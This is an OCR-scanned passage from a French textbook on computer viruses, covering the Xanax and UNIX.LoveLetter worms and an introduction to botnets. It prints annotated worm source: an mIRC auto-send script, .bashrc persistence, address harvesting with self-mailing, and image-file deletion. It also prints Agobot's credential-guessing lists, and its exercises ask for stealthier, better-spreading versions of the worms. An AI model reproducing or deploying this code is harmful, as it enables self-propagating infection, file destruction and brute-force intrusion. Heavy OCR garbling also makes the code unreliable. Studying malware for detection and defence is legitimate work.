void WriteVirus(char SRCFileName[ ], char DSTFileName[ ]) {



FILE *SRC, *DST; char Buffer [1024] ; short Counter = 0; int v = 0; /* Ouverture des fichiers (source et destination) */ /* En cas d'erreur, pas de traitement */ SRC = fopen(SRCFileName, "rb"); if(SRC) { DST = fopen(DSTFileName, "wb"); if(DST) { /* Copie proprement dite du code viral */ for (v = 0; v < 33; v ++) { Counter = freadCBuffer. 1. 1024. SRC):
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if(Counter) fwrite(Buffer, 1, Counter, DST); } } }



fclose(SRC); fclose(DST); }



Procedure FileExists Cette procedure renvoie un booleen : vrai si le fichier existe (autrement dit, il a ete possible de l'ouvrir) ou faux dans le cas contraire.



bool FileExists(char *FileName) {



HANDLE Exists; /* Tentative d'ouverture du fichier */ Exists = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ I FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); /* Si erreur (fichier absent) */ if(Exists == INVALID_HANDLE_VALUE) /* Retourner faux */ return false; /* Sinon Ie fichier existe */ CloseHandle(Exists); /* Retourner vrai */ return true; }



Procedure VirCkeck Cette procedure rccupcre dans le fichier donne en argument les 1geme et 20eme octets et les place respectivement en premiere et seconde position du tableau checksum [2J , declare en variable globale.



void VirCheck(char SRCFileName[ J) {



FILE *SRC; char Bufferr11 :
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0;



1* Ouverture du fichier donne en argument *1 SRC



=



fopen(SRCFileName, "rb");



1* Si ouverture reussie *1 if(SRC) {



1*



for(v = 0; v < 19; v ++) Lecture des 19 premiers octets Counter = fread(Buffer, 1, 1, SRC);



1* Le 1geme octet est memorise dans Ie 1* tableau checksum, 1ere position



*1 *1 *1



strcpy(checksum, Buffer);



1* Lecture du vingtieme octet



*1



for (v = 0; v < 1; v ++) Counter = fread(Buffer, 1, 1, SRC);



1* et memorisation dans Ie tableau 1* checksum, 2eme position strcat(checksum, Buffer); }



fclose(SRC); }



Procedure AddOrig Cette procedure recoit en argument deux fichiers : un fichier source dont le code doit etre ajoute a la suite du code contenu dans le fichier destination. Elle realise cette operation de copie en mode ajout. La gestion des erreurs est ici encore tres limitee.



void AddOrig(char SRCFileName[ ], char DSTFileName[ ]) {



FILE *SRC, *DST; char Buffer [1024] ; short Counter = 0:
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1* Ouverture du fichier source en lecture *1 SRC = fopen(SRCFileName, "rb"); if(SRC) { 1* Ouverture du fichier destination en ecriture 1* et en mode ajout (append) DST = fopen(DSTFileName, "ab"); if(DST) { 1* Copie du fichier source en fin de fichier 1* en fin de fichier destination, a la suite du 1* code deja present while(!feof(SRC)) { Counter = fread(Buffer, 1, 1024, SRC); if (Counter) fwrite(Buffer, 1, Counter, DST);



*1 *1 *1 *1 *1



} } }



fclose(SRC); fclose(DST); }



Cela permet au ver Xanax de rajouter le code de chaque cible en cours d'infection, au code du ver. Ce dernier se trouve donc en tete du programme infecte,



Procedure ScriptFile Cette procedure travaille sur un fichier dont le descripteur, vfile, est declare en variable globale et ouvert, en ecriture, dans le programme principal. La procedure ecrit dans ce fichier le code mIRC permettant d'envoyer une copie du ver a toute personne communiquant via un canal infecte,



void ScriptFile() {



GetWindowsDirectory(Buffer,MAX_PATH); fprintf(vfile, II [script]\nnO=ON 1:JOIN:#:{ lif ( $nick == $me ) { halt }\nn1=/dcc send $nick"); fprintf(vfile," %s%csystem%c%s\nn2=}\n", Buffer, 92, 92, CopyName);
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Le code proprement dit est le suivant/"



[script] nO=ON 1:JOIN:#:{ lif ( $nick == $me ) { halt} n1=/dcc send $nick C:\windows\system\xanax.exe Procedure CopyOrig Deux arguments sont utilises : un fichier source et un fichier destination. Le fichier source, dans le cas du ver Xanax, est un fichier executable infecte, constitue, dans l'ordre, des 33 kilo-octets du code viral, puis du code avant infection. Cette procedure a pour but de copier ce dernier dans le fichier destination.



void CopyOrig(char SRCFileName[ ], char DSTFileName[ ]) {



FILE *SRC, *DST; char Buffer [1024] ; short Counter = 0; int v = 0;



1* Ouverture du fichier source en lecture *1 SRC = fopen(SRCFileName, "rb"); if(SRC) { 1* Ouverture du fichier destination en *1 1* ecriture *1 DST = fopen(DSTFileName, "wb"); if(DST) { 1* Lecture des 33 premiers kilo-octets de *1 1* la source sans ecriture dans Ie fichier *1 1* destination *1 for(v = 0; v < 33; v ++) { Counter = fread(Buffer, 1, 1024, SRC); if(Counter) fwrite(Buffer, 0, 0, DST); }



25



Le lecteur consultera le site www.mirc.com/cmds . html pour une description des commandes et de la syntaxe du langage mIRC. A noter que ce langage, assez simple a apprendre, est suffisamment complet pour permettre l'ecriture de verso Plusieurs dizaines de ces derniers ont ainsi ete programmes dans ce langage. Leur canal d'infection est bien evidemment le canal IR,C.
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/* Copie du reste du fichier source dans */ /* Ie fichier destination */ whiIe(!feof(SRC)) { Counter = fread(Buffer, 1, 1024, SRC); if(Counter) fwrite(Buffer, 1, Counter, DST); } } }



fcIose(SRC); fcIose(DST); }



La gestion des erreurs est grandement perfectible et le code largement optimisable.



10.4.6 Conclusion Le ver Xanax, qui vient d'etre etudie, decrit bien les principaux modes d'action d'un ver d'emails. Ce ver utilise de plus d'autres axes pour augmenter sa virulence : canaux IRC et infection classique des fichiers executables de type EXE. C'est la tendance des vers recents de diversifier les techniques d'infection. Cependant, ce ver presente des defauts qui permettront de le detecter facilement. Le plus important se manifeste par la presence des fichiers C: \windows\winstart. exe et C: \windows\xanax. sys qui suffisent a reveler l'infection par le ver. II presente un manque patent de furtivite, qui lui est prejudiciable. D'autres bugs limitent fortement son action et son efficacite. Cela permet de comprendre pourquoi beaucoup de vers ou de virus, encore une fois, sont heureusement facilement detectes : les bugs qu'ils renferment les trahissent assez vite et concourrent a leur eradication par les antivirus, une fois que ces derniers ont integrc leurs caracteristiques.



10.5 Analyse du code du ver UNIX.LoveLetter L'objet de ce chapitre est de montrer comment fonctionne un ver du type et combien ce type de ver est facilement transposable sous Unix, du moins en theorie, Le ver UNIX.LoveLetter souffre d'un defaut majeur qui le differencie nettement d'un ver comme ILOVEYOU. Ce defaut ne permet pas la propagation du ver, a moins de supposer que l'utilisateur, victime de ce ver. soit irnnrudent au-dela du sens commun. Cenendant. la nresentation ILOVEYOU



10.5 Analyse du code du ver UNIX.LoveLetter



331



de ce ver permettra de comprendre comment fonctionne un code malveillant appartenant a la categoric des vers dits d'emails, et ce, sans recourir a un langage autre que le langage C. Le code que nous allons detailler a ete trouve sur Internet (malheureusement son auteur est inconnu) et est ecrit en langage interprets de type shell Bash. Le listing complet du code est disponible sur le CDROM, accompagnant cet ouvrage. Enfin, ce code est donne tel quel, avec les quelques erreurs et coquilles prcscntes dans la version originale. Le lecteur pourra les corriger a titre d'exercice.



10.5.1 Variables et procedures Le code commence par la declaration de variables (la plus grande partie des commentaires d'en-tete ont ete enleves mais sont disponibles sur la version complete du CDROM) ; nos commentaires du code seront indiques a la manierc du code C (/* ... */), pour les distinguer de ceux, originaux, du langage shell :



#!/bin/sh < commentaires descriptifs : omis ici > /* Commentaires d'avertissements (traduction) */ # 0 = faux et 1 = vrai # Attention ! Lorsque la variable qui suit est mise # a 1, ce virus devient actif et peut endommager votre # systeme et en infecter beaucoup d'autres BE_VIRUS=O PROG_DIR=-/loveletter PROG_BIN_DIR=$PROG_DIR/bin PROG_FILES_DIR=$PROG_DIR/files README_FILE=$PROG_DIR/REAMDE PROG_LOG_FILE=$PROG_DIR/log BIN_PROG=$PROG_BIN_DIR/loveletter.sh MAIL_FILES=".muttrc .mailrc" MAIL_PROG=$PROG_BIN_DIR/sendmails.sh DELETE_FILES="*.jpg *.mpg *.mpeg *.gif" DELETE PROG=$PROG BIN DIR/rm.sh
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Ces differentes variables definissent l'environnement d'action du ver : fichiers, repertoires et programmes que le ver va employer. Leur nom est suffisamment explicite et ne necessite pas de plus amples explications sur leur role et signification. La deuxieme partie du code contient plusieurs procedures. Cela permet de disposer d'un code plus structure donc plus lisible. En revanche, le code sera d'une taille un peu plus grande et cette structure permet de constituer des signatures interessantes (voir exercices en fin de chapitre). Procedure loge)



Cette procedure affiche des messages dans le but de tracer l'activite, pas sur la sortie standard (ecran) et dans un fichier de notarisation (fichier log), defini par la variable PROG_LOG_FILE. Dans notre cas, elle contient la chaine de caracteres /loveletter/log.



a pas, a la fois



loge) { echo $* echo $* » $PROG_LOG_FILE }



Procedure create_directories ()



Cette procedure cree les repertoires de travail du virus, et affiche un message pour chaque action.



create_directories() { mkdir $PROG_DIR mkdir $PROG_BIN_DIR mkdir $PROG_FILES_DIR log "Creating directory" $PROG_DIR log "Creating directory" $PROG_BIN_DIR log "Creating directory" $PROG_FILES_DIR }



Procedure pos_bin()



Cette procedure affiche un message de suivi dactivite, puis copie le code du ver (parametre positionnel $0) dans le fichier loveletter. sh et lui attribue des droits adequats (rwxr-xr-x) afin de permettre son activation par tous les utilisateurs (nronrietaire. membres du QTOUne et autres utilisateurs).
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pos_bin() { local pos pos='pwd' log "Copying" $pos/$O $PROG_BIN_DIR/loveletter.sh cp $pos/$O $PROG_BIN_DIR/loveletter.sh chmod 755 $PROG_BIN_DIR/loveletter.sh }



Procedure clean old_stuff



Elle efface tous les fichiers presents dans le repertoire de travail du virus /loveletter. Le but est de lutter contre des interferences avec un lancement antericur du ver.



clean_old_stuff() { rm -rf $PROG_DIR }



Procedure hook_into_startup ()



Cette procedure fonctionne differemment selon que le virus est active (mode reel) ou non (mode test), c'est-a-dire selon la valeur de la variable virale BE_VIRUS. Dans le premier cas, le ver travaille directement sur le fichier systeme . bashrc, dans le deuxieme cas il considere une copie de ce fichier (localise dans le repertoire /loveletter/files/. Rappelons (voir section 9.3.1) que le fichier . bashrc est utilise pour definir la configuration de l'environnement de l'utilisateur. Dans le cas present, l'instruction de lancement du ver, /loveletter/bin/loveletter. sh & est ajoutee. Lors de la connexion de l'utilisateur, le ver sera automatiquement active en mode arricre-plan.



hook_into_startup() { local bashrc



/* Test de la variable BE_VIRUS */ /* Le virus est-il en mode test ou pas ? */ if test $BE_VIRUS -eq 0; then /* Si Ie virus est en mode test, on */ /* travaille sur une copie du fichier .bashrc */ CD -/.bashrc $PROG FILES DIR
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bashrc=$PROG_FILES_DIR/.bashrc else 1* Sinon on travaille sur Ie fichier 1* directement bashrc=-I.bashrc fi



*1 *1



1* Si Ie fichier .bashrc existe *1 1* et est de type regulier *1 if test -f $bashrc; then 1* Ajout d'une intruction de lancement *1 1* du ver au debut de la session shell *1 log "Adding \"" $BIN_PROG "& \"to II -I.bashrc echo $BIN_PROG "&" » $bashrc fi }



Procedure get_adresses () Grace a cette procedure, le ver va recuperer diflerentes adresses, dans differents fichiers qui usuellement, sous Unix, sont susceptibles d'en contenir : les fichiers . muttrc et . mailrc, utilises comme fichier de configuration, respectivement par les logiciels de messagerie Mutt et exmh. Une routine en langage Perl effectue cette extraction. De plus, le ver recherche d'autres adresses (routine en langage Awk) dans le fichier letc/passwd. Progressivement, une liste d'adresses, contenue dans la variable adresses est etahlie, Enfin, le virus cree un script d'infection, nomme sendmails. sh, contenant des instructions d'envoi de mail infecte a chacune des adresses collectees, Le sujet du mail est I LOVE YOU et le corps du message contient le code viral.



get_adresses() { local f local a local adresses log "Getting email adresses"



1* pour les fichiers contenus *1 1* dans la variable MAIL_FILES *1 for f in $MAIL_FILES; do /* Si Ie fichier existe



*/
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1* et est de type regulier *1 if test -f $f; then 1* Routine en langage Perl *1 1* de recherche d'adresses *1 1* email contenues dans *1 1* les fichiers *1 a='perl -e 'open( INFILE, "'$f'" ); foreach( ) { if( I~alias/i) { s/(.*[\"\< J) ([\w\-\.J+©[a-zA-ZO9\.\-_J+)(.*$)/$2/; print "$_"; } }



close( INFILE );"



1* Actualisation de la liste d'adresses *1 adresses="$adresses $a" fi done



1* Recherche d'adresses dans Ie fichier *1 1* letc/passwd *1 # names of other users on the system a='awk 'BEGIN{ FS=":"} { print $1 }' letc/passwd' 1* Actualisation de la liste d'adresses *1 adresses="$adresses $a"



1* Message de suivi d'action *1 log "Creating sendmail file"



1* Creation d'un script d'infection *1 1* et attribution des droits en execution *1 echo "#!/bin/sh" » $MAIL_PROG chmod 755 $MAIL_PROG



1* Ajout pour chaque adresse, d'une *1 1* instruction d'envoi d'un message *1 1* infecte *1 for a in $adresses: do
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echo 'mailx -s "I LOVE YOU" '$a' < '$BIN_PROG » $MAIL_PROG done }



Procedure send_virus ()



Elle procede



a l'infection



des adresses recoltees, par execution du script



sendmails . sh. send_virus() { local n



/* Determination du nombre d'adresses */ n='awk 'END{ a=NR-1; print a }' $MAIL_PROG' /* Message de suivi d'action */ log "Sending Virus to " $n "users" /* Si Ie virus est actif (mode test) */ /* execution du script d'infection */ if test $BE_VIRUS -eq 1; then $MAIL_PROG fi }



C'est dans cette procedure (et dans celle qu'elle lance, a savoir, get_adr eases O) que se situe le defaut majeur de ce ver (voir exercice). Ainsi ecrit, le ver n'a aucune chance de se propager au-dela de la premiere victime. Procedure get_files()



Cette procedure etablit une liste de tous les fichiers d'images de format jpg, mpg, mpeg ou gif. Ensuite, un script, nomme rm.sh, commandant l'effacement de ces fichiers est crec. Chaque ligne est de la forme



rm -f . La recherche des fichiers utilise la fonction locate dont la syntaxe est locate [options] . Les systemes Unix recents maintiennent une base de donnees des fichiers presents dans le systeme. La commande locate parcourt cette base, ce qui permet une recherche rapide. Malheureusement, cette commande n'est pas installee par defaut sur tous les systemes (ce qui est le cas dans la distribution SuSe 8.0 de Linux, par exemple). Cela pose un nrobleme de nortabilite Dour ce ver (voir exercices).
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get_files() { local f local files /* Message de suivi d'action */ log "Getting deletable files" /* Creation d'une liste de tous */ /* les fichiers d'images de type */ /* *.jpg *.mpg *.mpeg *.gif */ for f in $DELETE_FILES; do files="$files 'locate $f'" done /* Creation d'un script d'effacement */ /* des fichiers trouves */ echo "#!/bin/sh" » $DELETE_PROG chmod 755 $DELETE_PROG /* Insertion d'une instruction */ /* de suppression de ces fichiers */ for f in $files; do if test -0 $f; then echo "rm -f $f" » $DELETE_PROG else if test -G $f; then echo "rm -f $f" » $DELETE_PROG fi fi done }



Procedure delete_f iles ()



II s'agit de la charge finale, proprement dite. Elle execute le script rm. sh, commandant l'effacement de tous les fichiers d'images localises par la procedure get_files().



delete_files() { local n
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n='awk 'END{ a=NR-1; print a }' $DELETE_PROG' log "Deleting $n files" if test $BE_VIRUS -eq 1; then $DELETE_PROG fi }



Procedure create_readme ()



Cette procedure cree un fichier README expliquant le fonctionnement du ver. Les commentaires de debut (omis ici) sont simplement repris.



create_readme() {



/* Message de suivi d'action */ log "Creating $README_FILE file" /* Impression du commentaire */ /* d'en-tete dans ce fichier */ echo ' This is a demonstration how easy a virus like the LoveLetter virus can be ported to a unix systems ..... If it's set to 1 (true) both scripts will be executed ' > $README_FILE 10.5.2 L'action du ver Le code du virus se termine par le programme principal proprement dit. Ce dernier met en ceuvre les procedures precedemment decrites afin de proceder a l'infection. Le code correspondant est le suivant :



/* Programme principal */ clean_old_stuff create_directories create_readme pos_bin hook into startuD
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get_adresses send_virus get_files delete_files L'action du ver peut donc etre rcsumce de la manierc suivante : 1. II nettoie toutes les structures (repertoires et fichiers) precedemment utilisees par un declenchement antcrieur du ver (procedure clean_old_stuff), puis recree ces structures pour le processus d'infection en cours (procedure create_directories). 2. Le code viral active duplique son propre code (procedure pos_bin) dans le fichier loveletter. sh localise dans le repertoire /loveletter/bin, cree par le ver. 3. Le ver modifie ensuite le fichier de configuration . bashrc pour permettre le lancement automatique du ver (procedure hook_into_startup). 4. Le ver recupcrc des adresses a infecter (procedure get_adresses ()) et cree un script d'infection constitue d'instructions d'envoi de mail infecte (copie du ver dans le corps du message), avec pour objet « I LOVE YOU



». 5. Le ver procede ensuite a l'infection proprement dite par I'execution du script sendmails. sh (procedure send_virus () ). 6. La procedure get_files() recherche ensuite tous les fichiers d'images, au format jpg, mpg, mpeg ou gif et cree un script d'effacement pour chacun d'eux. Finalement, la procedure delete_files () execute cette charge finale. Ce ver presente un defaut relativement important, qui n'existait pas pour la version Windows. II concerne la propagation proprement dite du ver. Nous laisserons le lecteur determiner lequel, en comparant eventuellement avec le code de la version Windows (voir exercices).



10.6 Conclusion Dans ce chapitre ont ete prcsentcs les vers informatiques. Le lecteur aura pu constater combien la difference entre vers et virus est artificielle. Les techniques de base sont les memes. La seule difference tient dans le fait que le ver, d'une manierc ou d'une autre, elargit son action a d'autres machines. L'environnement reseau d'une machine est maintenant svstematioue. au noint
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qu'une machine isolee fait figure, de nos jours, d'exception. Tous les systomes d'exploitation intcgrent desormais les fonctionnalites roseau (Unix des son origine, Windows plus recemment}. Cette constatation rend inutile la separation entre virus et verso La tendance des « vers » actuels, comme le lecteur a pu le constater avec Xanax par exemple, est de cumuler ces deux mondes : a la fois virus et verso Le lecteur aura pu constater, a travers ces quelques exemples, quecrire un ver, comme ecrirc un virus, n'est pas une chose aisee, du moins si le programmeur souhaite dejoucr assez longtemps la lutte antivirale. La plupart des codes etudies rcvelcnt des erreurs de conceptions, des bugs de programmation (problemes de portabilite, pas de gestion des erreurs ou des effets de bord, mauvaise qualite d'alea pour la generation des adresses IP a infecter [39]... ) qui au final, nuisent dans un delai plus ou moins bref au programme infectieux. La lutte contre ces programmes n'en est que plus facile. En raison de ces imperfections, parfois nombreuses, la quasi totalite des vers se font assez rapidement detecter (heureusement pour nous). Est-ce a dire alors, qu'il est difficile de lutter contre un ver, bien pcnse, bien concu, et correctement programme, comme c'est le cas pour un virus? La reponsc est evidemment non, du moins pour la plupart des exemples connus. La raison tient au fait qu'un ver, du fait de son orientation roseau inherente, se duplique beaucoup plus qu'un virus. Le risque d'etre detecte est par consequent beaucoup plus eleve que pour un virus, dont le nombre de copies sera forcement plus limite. L'evolution prochaine des vers 26 sera certainement de limiter, comme pour certains virus, leur virulence pour accroitre leur indetectabilite (voir un exemple dans le chapitre 9).



Exercices 1. Programmer un virus resident utilisant la primitive fork() dans le but de rafraichir le processus viral a intervalles reguliers. Quel est I'interet de ce mecanisme? 2. Programmer un script de desinfection du ver lIS_Worm. 3. Modifier la procedure search du ver lIS_Worm, afin de traiter toutes les adresses IP contenues dans chaque fichier de type *. html. 4. Modifier le code du ver lIS_Worm de sorte que, d'infection en infection, le nom de I'executable varie. 5. Ecrire un script de detection et de desinfection du ver Xanax. 26



Et les differencier des virus sera vraiment devenu vain.
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6. Le ver Xanax presente de nombreux defauts, notamment en matiere de gestion des eventuelles erreurs. Les identifier et les corriger. 7. Le code du ver Xanax n'est pas optimise. Le reccrirc afin d'obtenir une version plus compacte et optimisee. 8. Ecrire une version furtive du ver Xanax, notamment en vous inspirant des techniques presentees dans le chapitre 9. Tester ensuite le script de detection et de desinfection demande dans la question precedente, Modifier le script de facon a traiter la nouvelle version, furtive, du ver. 9. Reprendre la version furtive devcloppcc dans la question precedents et la modifier afin de diminuer sa virulence. En particulier, modifier le code du ver afin d'infecter quelques executables seulement du repertoire C: \windows et de limiter le nombre de machines distantes infectees, 10. Comparer le code original du virus ILOVEYOU (present sur le CDROM) avec celui du ver UNIX. Loveletter. Mettre en parallels les mecanismcs respectifs de Windows et d'Unix permettant au ver de fonctionner. 11. Le ver UNIX.Loveletter presente un defaut majeur qui limite tres fortement sa propagation. L'identifier et expliquer cette limitation. Ensuite, modifier le ver afin de la contourner. 12. Le ver UNIX.Loveletter presente quelques autres defauts. Les identifier et les corriger. Modifier ensuite le ver pour reduire sa taille encore plus et le rendre furtif. 13. Ecrire un script de desinfection pour le ver UNIX. Loveletter. Modifier, ensuite, le code du ver pour en faire disparaitre toutes les procedures. Le script est-il toujours efficace? Modifier eventuellement le script en fonction de la reponse. Conclure. 14. Le ver UNIX.Loveletter utilise la commande locate. Or, cette derniere n'est pas presente par defaut sur tous les Unix. Reecrire ce ver, de facon a ce que la presence de cette commande soit testee et qu'en cas d'absence, la recherche des fichiers a infecter se fasse malgre tout.



Projets d'etudes Analyse du code du ver Apache Ce projet devrait occuper un eleve pendant trois semaines. II s'agit d'analyser le code source du ver Apache, fourni, sur le CDROM. Ce ver, encore denomme, ELF/FreeApworm, ELF_SCALPER. A, FreeBSD.Scalper.Worm, Linux. Scalper. Worm ou BSD/Scalper. Worm est un ver de type simple, utilisant les svstemes tournant sous FreeBSD 4.5 et utilisant les serveurs Aoache.
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versions 1.3.20-1.3.24. Le ver utilise une vulnerabilite concernant le codage utilise lors du transfert de donnees. II faudra analyser en particulier : - le mecanisme de recherche et d'identification des hates vulnerables, - le mode de propagation (infection) du ver, - les fonctionnalites de la charge finale.



Analyse du code du ver Ramen Le code source de ce ver est donne sur le CDROM (sans les parties executables correspondant aux codes des exploits realises cux-mcmcs). Connu sous le nom de Linux/Ramen. Worm ou Linux/Ramen, ce ver est apparu en 2001. II est de type simple et utilise trois vulnerahilites detectees pour les distributions Red Hat 6.2 et 7.0 (voir, pour plus de details, http: //www.redhat.com/support/a1erts/ramen_worm.htm1). Comme pour le projet precedent, il s'agira de mener une analyse fine du code et d'en determiner les principaux ressorts de fonctionnement (les executables asp62 , asp7, 162, 17, randb62, randb7, w62, w7 et wu62 seront consideres comme des boites noires realisant l'exploitation des vulnerabilites}. L'action de ce ver suppose des erreurs d'administration, en plus des vulnerabilites utilisees. Determiner lesauelles.
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11.1 Introduction Le terme « botnet », forme de la contraction des mots roBOT et NETwork fait son apparition vers le milieu des annees quatre-vingt-dix. Depuis, ce terme a envahi le monde de la securite informatique et son utilisation quelquefois ad nauseam par le moindre consultant ou « specialistc » du cyberespace a eu pour consequence de presque le vider de son sens et de contribuer a colporter de nombreux fantasmes. Le concept technique a peu a peu ete gomme pour laisser la place a une realite superieure independante, pourvue d'une raison, au point que certains ri'hesitent pas a faire du botnet une creature cybernetique independante, constituant le prochain maillon dans la chaine de I'evolution. Bref, les absurdites dans ce domaine ne manquent pas. Le probleme est que, face a une menace bien reelle, techniquement facile a apprehender et a expliquer, la perception faussee et fantasmatique de ce qu'est un botnet, nuit a une bonne prevention et une bonne gestion de ce type d'attaque. C'est d'autant plus triste qu'il existe pourtant de tres bons articles decrivant ce qu'est un botnet et comment cela fonctionne. Le lecteur pourra en particulier lire avec le plus grand interet les excellents articles de Guillaume Areas [11-13, 24]. Dans ce chapitre, nous allons d'abord presenter ce concept de botnet sous un angle quelque peu different, fonde sur ses aspects algorithmiques et fonctionnels. II est impossible de presenter une analyse detaillee - comme nous l'avons fait dans les chapitres precedents - du code d'un botnet. Ce dernier represente en effet quelques dizaines de milliers de lignes, repartis en un tres grand nombre de fichiers (pres de 1300 pour le botnet Agobot). Mais ce n'est pas utile en soit dans la mesure OU un botnet n'est que la synthase alvorithmioue et fonctionnelle des diverses techniaues de codes malveillants
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presentees dans les chapitres precedents. De ce point de vue, la classificatin d'Adleman (voir section 3.3) suffit largement pour situer de concept de botnet. Dans une seconde partie de ce chapitre, nous presenterons un modele optimise de botnet, herite du modele de roseau peer-to-peer (P2P) dont la gestion, par l'attaquant, repose sur des proprictcs combinatoires dynamiques du reseau cible. Ce modele permet de conjuguer une propagation fulgurante dont nous avons pu teste la validite operationnelle sur des simulateurs dedies - avec une furtivite reseau maximale. Pleinement configurable en taille, un tel botnet peut servir a la fois a conduire des attaques ciblees de faible envergure ou au contraire a mener des attaques de taille planetaire,



11.2 Le concept de botnet Le concept de botnet est apparu en 1993 avec l'utilisation de serveurs IRC (Internet Relay Chat) utilisant le protocole eponymc. Depuis, d'autres protocoles ont ete utilises et leur multiplicite a incite de nombreux specialistes a fonder la classification des botnets sur ces differents protocoles, ce qui n'a pas vraiment de sens car c'est confondre, encore une fois, l'algorithmique avec sa mise en oeuvre. Mais tout d'abord, qu'est ce qu'un botnet? Donnons en une definition qui nous semble la plus appropriee d'un point de vue technique.



Definition 56 Un botnet est un reseau malveillant constiiu« de machines compromises (encore denommecs «agents» i « bots » ou «machines zombies ») i conirolees it distance par une ou plusieurs eniiie» et permettant une gestion distribtie« d 'actions offensives ou malveillantes. La simplicite apparente de cette definition resume neanmoins tous les techniques utilisees pour la mise en ceuvre et la gestion d'un botnet. Elle permet en particulier de definir un botnet comme une synthase algorithmique et fonctionnelle des differents types de codes malveillants references dans la classification d' Adleman : - les techniques autoreproductrices (virus et vers) sont impliquees au niveau de la mise en place des differents agents malicieux constituant un botnet (les « machines compromises» ou agents) (phase de propagation) ; - les techniques d'infection simples (bombes logiques et surtout chevaux de Troie) sont impliquees dans la gestion des agents mis en place (le controle a distance) :
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- les techniques diverses et varices de charge finale (les actions offensives ou malveillantes) ; Le seul element technique nouveau dans le concept de botnet est la notion de «gestion distribuee » des agents. Mais la encore, il faut relativiser le caractere veritablement novateur de cet element. La gestion distribuee de res sources par un code malveillant a ete experimentee (voir section 14.2.1) par John F. Schoch et Jon A. Hupp des 1981 [205]. La seule reelle innovation est dans la hierarchisation de cette gestion distribuee. Mais quelle que soit la hierarchie adoptee, un botnet peut etre decrit simplement comme un cheval de Troie generalise dans lequel un (ou un nombre tres restreint de) module client (la console de commandement et de controle ou Control and Command (C & C) «gere» un tres grand nombre de modules serveurs (les agents ou machines compromises). Notons que dans une perspective de generalisation des techniques employees, les agents de ce «super cheval de Troie » que constitue finalement un botnet, peuvent jouer tour a tour le role de client et./ou de serveur, selon la topographie souhaitee par le maitre du botnet (encore appele Botherder). L'asymetrie classique caracterisant le cheval de Troie fait place a une symetrie a geometrie variable. Au final, un botnet pourrait etre vu comme un ver mettant en place un cheval de Troie generalise. Cette vision simplifiee permet alors de bien comprendre les differentes phases de la vie d'un botnet. A I'extrerne, la difference entre vers et chevaux de Troie devient extrernement tcnue. Nous allons exporer les principales caracteristiques des botnets, a travers les trois principales phases de la «vie» d'un tel roseau malicieux. Pour illustrer certains points, nous utiliserons les codes de la famille Agobot, a ce jour l'une des plus evoluees,



11.2.1 La phase de deploiernent Dans cette phase intiale, l'attaquant va chercher a compromettre un grand nombre de machines avec les differents agents composant le code du botnet. Ces agents sont de trois types : - des codes de type infection simple (essentiellement la partie serveur d'un cheval de Troie) pouvant etre mis en place via des infections de type autoreproductrices (vers ou virus). II s'agit d'agent a la structure non evolutive et comportant peu ou prou de fonctions anti-antivirales (voir section 5.4.6) ; - des codes modulaires de type polymorphes. Ces agents sont des le depart concus pour evoluer en forme et /ou en fonctionnalites et imnlementent des fonctionnalites anti-antivirales. notamment de furti-
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vite [104, Chapitre 7] a base de rootkits. Le nombre de variantes peut etre enormc comme dans le cas du code Agobot (pres de 850 variantes connues). - des codes complexes composites de type code k-aires [104, Chapitre 4]. Ces agents sont en fait une collection de scripts, de programmes et de fichiers, presents soit sur le poste compromis lui-meme soit disponibles sur des sites externes (voir une technique de blindage du code d'agents dans [104, Chapitre 8]). C'est par exemple le cas de la famille Gtbot. Le mecanisme d'infection des machines cibles lui-meme n'est pas different de ce qui a ete presente dans les chapitres precedents. De la faille critique de type O-day (a exploitation immediate) a l'activation d'une piece jointe d'un courrier electronique par un utilisateur, tous les mecanismcs sont a considerer. Dans le premier cas, un agent peut contenir des bibliotheques entieres de vulnerabilites, assurant une tres grande capacite d'infection. Ainsi, dans le code d' Agobot3 (fichier agobot3. dsp), la liste des vulnerahilites prises en compte sont : #



Begin Group "Scanner Source"



PROP Default_Filter # Begin Source File #



1111



SOURCE=.\dcom2scanner.cpp SOURCE=.\dcomscanner.cpp SOURCE=.\locscanner.cpp SOURCE=.\nbscanner.cpp SOURCE=.\scanner.cpp SOURCE=.\wdscanner.cpp SOURCE=.\wksscanner.cpp End Source File # End Group #



Les agents vont egalement chercher a exploiter des faiblesses de configuration et d'administration des res sources du svsteme cible. A titre d'illustration. le
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programme nbscanner. cpp scanne les res sources partagees dans l'arborescence Windows. II exploite I'hypothesc selon laquelle des identifiants generiques sont le plus souvent utilises : char *names[] = {"Administrator", "Administrateur" ,"Coordinatore", "Administrador", "Verwalter", "Ospite", "kanri" , "kanri-sha", "admin", "administrator", "Default", "Convidado", "mgmt", "Standard", "User", "AdministratAffr", "administrador", "Owner", "user", "server", "Test", "Guest", "Gast", "Inviter", "a", "aaa", "abc", "x", "xyz", "Dell", "home", "pc", "test", "temp", "win", "asdf", "qwer", "OEM", "root", "wwwadmin", "login", "", "owner", "mary", "admins", "computer", "xp", "OWNER", "mysql", "database", "teacher", "student", NULL }; et./ou que des mots de passe faibles l'ont egalement ete (utilisateurs peu sensibilises a la sccurite) .



char *pwds[] = { "admin", "Admin", "password", "Password", "1", "12", "123", "1234", "12345", "123456", "1234567", "12345678", "123456789", "654321", "54321", "111", "000000", "00000000", "11111111", "88888888", "pass", "passwd", "database", "abed", "oracle", "sybase", "123qwe", "server", "computer", "Internet", "super", "123asd", "ihavenopass", "godblessyou", "enable", "xp", "2002", "2003", "2600", "0", "110", "111111", "121212", "123123", "1234qwer", "123abc", "007", "alpha", "patrick", "pat", "administrator", "root", "sex", "god", "foobar", "a", "aaa", "abc", "test", "temp", "win", "pc", "asdf", "secret", "qwer" , "yxcv", "zxcv", "home", "xxx", "owner", "login", "Login", "Coordinatore" , "Administrador", "Verwalter", "Ospite", "administrator", "Default", "administrador", "admins" , "teacher", "student", "superman", "supersecret", "kids", "penis", "wwwadmin", "database", "changeme", "test123", "user", "private", "69", "root", "654321", "xxyyzz", "asdfghjkl", "mybaby", "vagina", "pussy", "leet", "metal", "work", "school", "mybox", "box", "werty", "baby", "porn", "homework", "secrets", "x", "z", "qwertyuiop", "secret", "Administrateur", "abc123", "password123", "red123", "qwerty", "admin123". "zxcvbnm". "ooiuvtrewo". "owd". "oass". "love".
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"mypc", "mypass", IpW",



1111,



NULL };



L'exploration des partage reseau se fait de la manierc la plus classique :



char *shares[]= {" admin$ "C$", "d$", "e$", "print$", II ,



II



e" , NULL };



